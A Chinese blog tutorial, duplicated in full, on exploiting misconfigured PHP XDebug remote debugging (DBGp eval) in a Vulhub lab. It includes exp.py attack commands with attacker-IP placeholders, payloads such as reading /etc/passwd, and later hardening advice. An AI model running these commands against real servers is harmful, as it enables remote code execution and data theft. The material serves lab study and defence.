尧图网站建设 
Vulhub 实战PHP XDebug 远程调试配置不当导致的任意代码执行DBGp 协议 RCE【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhubXDebug 是 PHP 生态中广泛使用的调试扩展当服务器以错误的安全假设开启远程调试xdebug.remote_connect_back/xdebug.discover_client_host时攻击者可借由 DBGp 调试协议中的eval指令在目标服务器上执行任意 PHP 代码。本文以 Vulhub 仓库 php/xdebug-rce 环境为核心从漏洞原理、2.x/3.x 配置差异、Docker 环境搭建到 exp.py 利用脚本的逐行剖析完整演示如何从远程调试开启一步步拿到目标服务器的命令执行权限。漏洞原理远程调试协议为何会成为攻击面XDebug 是一款 PHP 扩展主要用于代码调试与性能分析。它实现了一种名为DBGp的调试协议当 PHP 进程在调试模式下运行时XDebug 会主动以 TCP 方式连接到一个调试客户端通常是开发者的 IDE双方通过 DBGp 协议交换 XML 消息实现断点、单步、变量查看等功能。DBGp 协议中有一个功能强大的指令eval它允许调试客户端向正在运行的 PHP 进程提交一段 PHP 代码并立即执行返回值会以 XML 形式回传给客户端。这个指令在本地开发调试时非常方便但一旦目标服务器对外开放了远程调试能力eval就成了攻击者手中的远程 shell。XDebug 2.x 的脆弱配置对于 XDebug 2.x 版本当 PHP 配置同时满足以下两项时存在风险xdebug.remote_enable 1 xdebug.remote_connect_back 1xdebug.remote_enable开启远程调试功能xdebug.remote_connect_back不再使用固定的xdebug.remote_host而是从 HTTP 请求头如X-Forwarded-For中动态取得客户端 IP 作为回连地址。remote_connect_back的初衷是方便处于 NAT 后面的开发者调试无需手工配置自己的公网 IP但它把谁可以触发调试完全交给了 HTTP 请求头——攻击者只需把X-Forwarded-For伪装成自己的 IP服务器上的 XDebug 就会向这个地址发起 DBGp 回连。XDebug 3.x 的等价脆弱配置XDebug 3.x 对配置项做了不兼容的重构漏洞的等价配置变为xdebug.mode debug xdebug.discover_client_host 1其中xdebug.mode debug将 XDebug 置于调试模式3.x 中remote_enable已被mode取代而xdebug.discover_client_host取代了remote_connect_back同样是从请求头推断客户端 IP 并回连的逻辑。原文档中给出的 3.x 配置还包含一行xdebug.client_host 1这一行在 3.x 语义下并不是必须的discover_client_host 1已经让 XDebug 忽略固定 host 并动态发现客户端实际触发回连的核心开关是前两行。攻击链路一句话总结客户端访问带触发参数的 URL → XDebug 检测到调试会话请求 → 从请求头X-Forwarded-For取得客户端 IP → 反向 TCP 连接攻击者监听的调试端口 → 攻击者通过 DBGpeval指令提交任意 PHP 代码 → 服务器执行并把结果回传。环境搭建两套 PHP XDebug 靶场进入漏洞目录并启动环境docker compose up -dVulhub 为该漏洞准备了两个服务分别覆盖 XDebug 2.x 与 3.x 两代版本服务名基础镜像XDebug 版本访问地址xdebug2vulhub/php:7.1-xdebugXDebug 2.5.5http://your-ip:8080/xdebug3vulhub/php:7.4-xdebugXDebug 3.1.6http://your-ip:8081/两个容器都只挂载了一个 index.php其内容仅有一行?php phpinfo();访问任一 URL 即可看到 phpinfo 页面在其中搜索xdebug段落可以验证 XDebug 扩展已加载且remote_enable/remote_connect_back2.x或modedebug/discover_client_host3.x均为开启状态。脆弱配置的来源基础镜像 Dockerfile两个服务所使用的镜像来自 Vulhub 的 base/php 目录脆弱配置正是在构建镜像时写入的。以 7.1-xdebug/Dockerfile 为例FROM php:7.1-apache RUN set -ex \ pecl install xdebug-2.5.5 \ docker-php-ext-enable xdebug RUN set -ex \ { \ echo xdebug.remote_enable 1; \ echo xdebug.remote_connect_back 1; \ echo xdebug.remote_log /tmp/xdebug.log; \ } /usr/local/etc/php/conf.d/xdebug.ini \ a2enmod rewrite而 7.4-xdebug/Dockerfile 则对应 3.x 的配置写法RUN set -ex \ { \ echo xdebug.mode debug; \ echo xdebug.discover_client_host 1; \ echo xdebug.log /tmp/xdebug.log; \ } /usr/local/etc/php/conf.d/xdebug.ini \ a2enmod rewrite两份 Dockerfile 都额外开启了xdebug.remote_log/xdebug.log日志将调试回连过程记录到/tmp/xdebug.log便于复现时排障。docker-compose.yml中 php/xdebug-rce/docker-compose.yml 仅做了端口映射与 index.php 挂载镜像层面即自带漏洞配置。漏洞复现为什么不能只用 HTTP由于完整的利用过程需要与目标服务器进行DBGp 协议的双向 TCP 通信而不仅仅是发送 HTTP 请求所以无法用 curl 之类的 HTTP 工具单独完成复现。攻击者必须在自己的机器上启动一个 DBGp 调试服务器监听 TCP 端口向目标 URL 发送触发调试会话的 HTTP 请求等待目标服务器反向连接攻击者的调试端口通过 DBGp 协议发送eval指令执行任意代码并接收返回结果。Vulhub 在 exp.py 中把上述过程封装成了开箱即用的利用脚本。使用 exp.py 执行任意命令该脚本依赖 Python 3 和requests库一条命令即可完成攻击# 攻击 XDebug 2.x 环境PHP 7.1监听端口 9000 python3 exp.py -t http://[target-ip]:8080/index.php -c shell_exec(id); --dbgp-ip [attacker-ip] # 攻击 XDebug 3.x 环境PHP 7.4监听端口 9003 python3 exp.py -t http://[target-ip]:8081/index.php -c shell_exec(id); --dbgp-ip [attacker-ip]参数说明-t/--target目标 URL必须指向一个实际会执行 PHP 的入口文件本环境为index.php-c/--code要在目标服务器上执行的 PHP 代码例如shell_exec(id);、phpinfo();、system(cat /etc/passwd);等--dbgp-ip可选目标服务器能够访问到的攻击者 IP。当攻击机的公网 IP 与本地机器不一致如经过 NAT时用它指定实际回连地址。成功利用后终端会输出目标服务器执行命令的结果。例如执行shell_exec(id);会返回uid33(www-data) gid33(www-data) groups33(www-data)证明代码已在 Apache 的 www-data 用户权限下执行。利用 exp.py 依次执行id与ps aux的终端输出脚本监听 9000 端口、触发调试会话、收到 DBGpeval响应并解出命令执行结果。exp.py 工作流程剖析exp.py 的逻辑可以拆成四个阶段启动 DBGp 监听服务器start_dbgp_server脚本同时监听9000XDebug 2.x 默认调试端口和9003XDebug 3.x 默认调试端口两个 TCP 端口无论目标是哪一代版本都能收到回连server_started事件用于确认监听就绪。触发调试会话trigger_debug_session向目标 URL 追加?XDEBUG_SESSION_STARTphpstormXDEBUG_SESSION1XDEBUG_TRIGGER1参数并设置X-Forwarded-For请求头为攻击者 IP对应--dbgp-ip。这正是 2.xremote_connect_back与 3.xdiscover_client_host读取请求头、决定回连目标的机制所在。发送 eval 指令XDebugRequestHandler.handle收到目标回连后立即发送格式为eval -i 1 -- base64编码的PHP代码\x00的 DBGp 报文\x00是 DBGp 消息的 NULL 终止符。解析并输出结果通过 recv_xml 按\x00分帧接收 XML 响应用正则提取![CDATA[...]]中 base64 编码的执行结果并解码打印成功后置位server_done结束脚本。从协议角度看这个流程与 PHP 开发者日常使用的 IDE 调试完全一致——攻击者只是把自己伪装成了一个合法的调试客户端利用 DBGp 协议自身提供的eval能力把调试变成了执行任意代码。利用前置条件与注意事项原文档特别强调整个利用过程是目标服务器向攻击者发起的反向连接因此以下条件缺一不可调试端口必须可达exp.py 需要监听 9000XDebug 2.x和 9003XDebug 3.x两个端口请确保本机防火墙、云厂商安全组均放行这两个 TCP 端口否则目标回连会被拒之门外网络可达性攻击机需要具备公网 IP或者与目标处于同一内网保证目标能够反向连接到攻击机的监听端口IP 指定策略如果攻击机的公网 IP 与本地出口 IP 不一致例如经过 NAT 或代理必须使用--dbgp-ip参数显式指定目标服务器可以访问到的 IP否则 XDebug 会依据错误的源地址回连导致利用失败。此外若利用失败可进入容器查看/tmp/xdebug.log镜像已在 Dockerfile 中开启 remote_log日志会记录 XDebug 是否尝试回连以及失败原因是最直接的排障依据。修复与防护建议从配置层面杜绝此类风险生产环境彻底关闭远程调试确保xdebug.remote_enable 02.x或xdebug.mode off/develop3.x并移除remote_connect_back、discover_client_host如果必须开启远程调试不要使用remote_connect_back/discover_client_host这类信任请求头的机制改用固定的xdebug.remote_host2.x或xdebug.client_host3.x将调试客户端 IP 白名单化并加防火墙规则限制调试端口只对可信 IP 开放严格过滤反向代理头若服务器位于反向代理之后确保X-Forwarded-For等头由可信代理重写禁止客户端伪造。小结本文围绕 Vulhub php/xdebug-rce 环境完整梳理了 XDebug 远程调试从配置、原理到利用的全过程2.x 的remote_enable remote_connect_back与 3.x 的modedebug discover_client_host本质是同一类错误——把谁能连我的决定权交给了可伪造的 HTTP 请求头最终被 DBGp 协议中的eval指令放大为远程任意代码执行。利用 exp.py 只需一行命令即可在两个靶场上完成复现是理解调试功能即攻击面这一安全思想的经典案例。【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考 Vulhub 实战：PHP XDebug 远程调试配置不当导致的任意代码执行（DBGp 协议 RCE）
Vulhub 实战PHP XDebug 远程调试配置不当导致的任意代码执行DBGp 协议 RCE【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhubXDebug 是 PHP 生态中广泛使用的调试扩展当服务器以错误的安全假设开启远程调试xdebug.remote_connect_back/xdebug.discover_client_host时攻击者可借由 DBGp 调试协议中的eval指令在目标服务器上执行任意 PHP 代码。本文以 Vulhub 仓库 php/xdebug-rce 环境为核心从漏洞原理、2.x/3.x 配置差异、Docker 环境搭建到 exp.py 利用脚本的逐行剖析完整演示如何从远程调试开启一步步拿到目标服务器的命令执行权限。漏洞原理远程调试协议为何会成为攻击面XDebug 是一款 PHP 扩展主要用于代码调试与性能分析。它实现了一种名为DBGp的调试协议当 PHP 进程在调试模式下运行时XDebug 会主动以 TCP 方式连接到一个调试客户端通常是开发者的 IDE双方通过 DBGp 协议交换 XML 消息实现断点、单步、变量查看等功能。DBGp 协议中有一个功能强大的指令eval它允许调试客户端向正在运行的 PHP 进程提交一段 PHP 代码并立即执行返回值会以 XML 形式回传给客户端。这个指令在本地开发调试时非常方便但一旦目标服务器对外开放了远程调试能力eval就成了攻击者手中的远程 shell。XDebug 2.x 的脆弱配置对于 XDebug 2.x 版本当 PHP 配置同时满足以下两项时存在风险xdebug.remote_enable 1 xdebug.remote_connect_back 1xdebug.remote_enable开启远程调试功能xdebug.remote_connect_back不再使用固定的xdebug.remote_host而是从 HTTP 请求头如X-Forwarded-For中动态取得客户端 IP 作为回连地址。remote_connect_back的初衷是方便处于 NAT 后面的开发者调试无需手工配置自己的公网 IP但它把谁可以触发调试完全交给了 HTTP 请求头——攻击者只需把X-Forwarded-For伪装成自己的 IP服务器上的 XDebug 就会向这个地址发起 DBGp 回连。XDebug 3.x 的等价脆弱配置XDebug 3.x 对配置项做了不兼容的重构漏洞的等价配置变为xdebug.mode debug xdebug.discover_client_host 1其中xdebug.mode debug将 XDebug 置于调试模式3.x 中remote_enable已被mode取代而xdebug.discover_client_host取代了remote_connect_back同样是从请求头推断客户端 IP 并回连的逻辑。原文档中给出的 3.x 配置还包含一行xdebug.client_host 1这一行在 3.x 语义下并不是必须的discover_client_host 1已经让 XDebug 忽略固定 host 并动态发现客户端实际触发回连的核心开关是前两行。攻击链路一句话总结客户端访问带触发参数的 URL → XDebug 检测到调试会话请求 → 从请求头X-Forwarded-For取得客户端 IP → 反向 TCP 连接攻击者监听的调试端口 → 攻击者通过 DBGpeval指令提交任意 PHP 代码 → 服务器执行并把结果回传。环境搭建两套 PHP XDebug 靶场进入漏洞目录并启动环境docker compose up -dVulhub 为该漏洞准备了两个服务分别覆盖 XDebug 2.x 与 3.x 两代版本服务名基础镜像XDebug 版本访问地址xdebug2vulhub/php:7.1-xdebugXDebug 2.5.5http://your-ip:8080/xdebug3vulhub/php:7.4-xdebugXDebug 3.1.6http://your-ip:8081/两个容器都只挂载了一个 index.php其内容仅有一行?php phpinfo();访问任一 URL 即可看到 phpinfo 页面在其中搜索xdebug段落可以验证 XDebug 扩展已加载且remote_enable/remote_connect_back2.x或modedebug/discover_client_host3.x均为开启状态。脆弱配置的来源基础镜像 Dockerfile两个服务所使用的镜像来自 Vulhub 的 base/php 目录脆弱配置正是在构建镜像时写入的。以 7.1-xdebug/Dockerfile 为例FROM php:7.1-apache RUN set -ex \ pecl install xdebug-2.5.5 \ docker-php-ext-enable xdebug RUN set -ex \ { \ echo xdebug.remote_enable 1; \ echo xdebug.remote_connect_back 1; \ echo xdebug.remote_log /tmp/xdebug.log; \ } /usr/local/etc/php/conf.d/xdebug.ini \ a2enmod rewrite而 7.4-xdebug/Dockerfile 则对应 3.x 的配置写法RUN set -ex \ { \ echo xdebug.mode debug; \ echo xdebug.discover_client_host 1; \ echo xdebug.log /tmp/xdebug.log; \ } /usr/local/etc/php/conf.d/xdebug.ini \ a2enmod rewrite两份 Dockerfile 都额外开启了xdebug.remote_log/xdebug.log日志将调试回连过程记录到/tmp/xdebug.log便于复现时排障。docker-compose.yml中 php/xdebug-rce/docker-compose.yml 仅做了端口映射与 index.php 挂载镜像层面即自带漏洞配置。漏洞复现为什么不能只用 HTTP由于完整的利用过程需要与目标服务器进行DBGp 协议的双向 TCP 通信而不仅仅是发送 HTTP 请求所以无法用 curl 之类的 HTTP 工具单独完成复现。攻击者必须在自己的机器上启动一个 DBGp 调试服务器监听 TCP 端口向目标 URL 发送触发调试会话的 HTTP 请求等待目标服务器反向连接攻击者的调试端口通过 DBGp 协议发送eval指令执行任意代码并接收返回结果。Vulhub 在 exp.py 中把上述过程封装成了开箱即用的利用脚本。使用 exp.py 执行任意命令该脚本依赖 Python 3 和requests库一条命令即可完成攻击# 攻击 XDebug 2.x 环境PHP 7.1监听端口 9000 python3 exp.py -t http://[target-ip]:8080/index.php -c shell_exec(id); --dbgp-ip [attacker-ip] # 攻击 XDebug 3.x 环境PHP 7.4监听端口 9003 python3 exp.py -t http://[target-ip]:8081/index.php -c shell_exec(id); --dbgp-ip [attacker-ip]参数说明-t/--target目标 URL必须指向一个实际会执行 PHP 的入口文件本环境为index.php-c/--code要在目标服务器上执行的 PHP 代码例如shell_exec(id);、phpinfo();、system(cat /etc/passwd);等--dbgp-ip可选目标服务器能够访问到的攻击者 IP。当攻击机的公网 IP 与本地机器不一致如经过 NAT时用它指定实际回连地址。成功利用后终端会输出目标服务器执行命令的结果。例如执行shell_exec(id);会返回uid33(www-data) gid33(www-data) groups33(www-data)证明代码已在 Apache 的 www-data 用户权限下执行。利用 exp.py 依次执行id与ps aux的终端输出脚本监听 9000 端口、触发调试会话、收到 DBGpeval响应并解出命令执行结果。exp.py 工作流程剖析exp.py 的逻辑可以拆成四个阶段启动 DBGp 监听服务器start_dbgp_server脚本同时监听9000XDebug 2.x 默认调试端口和9003XDebug 3.x 默认调试端口两个 TCP 端口无论目标是哪一代版本都能收到回连server_started事件用于确认监听就绪。触发调试会话trigger_debug_session向目标 URL 追加?XDEBUG_SESSION_STARTphpstormXDEBUG_SESSION1XDEBUG_TRIGGER1参数并设置X-Forwarded-For请求头为攻击者 IP对应--dbgp-ip。这正是 2.xremote_connect_back与 3.xdiscover_client_host读取请求头、决定回连目标的机制所在。发送 eval 指令XDebugRequestHandler.handle收到目标回连后立即发送格式为eval -i 1 -- base64编码的PHP代码\x00的 DBGp 报文\x00是 DBGp 消息的 NULL 终止符。解析并输出结果通过 recv_xml 按\x00分帧接收 XML 响应用正则提取![CDATA[...]]中 base64 编码的执行结果并解码打印成功后置位server_done结束脚本。从协议角度看这个流程与 PHP 开发者日常使用的 IDE 调试完全一致——攻击者只是把自己伪装成了一个合法的调试客户端利用 DBGp 协议自身提供的eval能力把调试变成了执行任意代码。利用前置条件与注意事项原文档特别强调整个利用过程是目标服务器向攻击者发起的反向连接因此以下条件缺一不可调试端口必须可达exp.py 需要监听 9000XDebug 2.x和 9003XDebug 3.x两个端口请确保本机防火墙、云厂商安全组均放行这两个 TCP 端口否则目标回连会被拒之门外网络可达性攻击机需要具备公网 IP或者与目标处于同一内网保证目标能够反向连接到攻击机的监听端口IP 指定策略如果攻击机的公网 IP 与本地出口 IP 不一致例如经过 NAT 或代理必须使用--dbgp-ip参数显式指定目标服务器可以访问到的 IP否则 XDebug 会依据错误的源地址回连导致利用失败。此外若利用失败可进入容器查看/tmp/xdebug.log镜像已在 Dockerfile 中开启 remote_log日志会记录 XDebug 是否尝试回连以及失败原因是最直接的排障依据。修复与防护建议从配置层面杜绝此类风险生产环境彻底关闭远程调试确保xdebug.remote_enable 02.x或xdebug.mode off/develop3.x并移除remote_connect_back、discover_client_host如果必须开启远程调试不要使用remote_connect_back/discover_client_host这类信任请求头的机制改用固定的xdebug.remote_host2.x或xdebug.client_host3.x将调试客户端 IP 白名单化并加防火墙规则限制调试端口只对可信 IP 开放严格过滤反向代理头若服务器位于反向代理之后确保X-Forwarded-For等头由可信代理重写禁止客户端伪造。小结本文围绕 Vulhub php/xdebug-rce 环境完整梳理了 XDebug 远程调试从配置、原理到利用的全过程2.x 的remote_enable remote_connect_back与 3.x 的modedebug discover_client_host本质是同一类错误——把谁能连我的决定权交给了可伪造的 HTTP 请求头最终被 DBGp 协议中的eval指令放大为远程任意代码执行。利用 exp.py 只需一行命令即可在两个靶场上完成复现是理解调试功能即攻击面这一安全思想的经典案例。【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考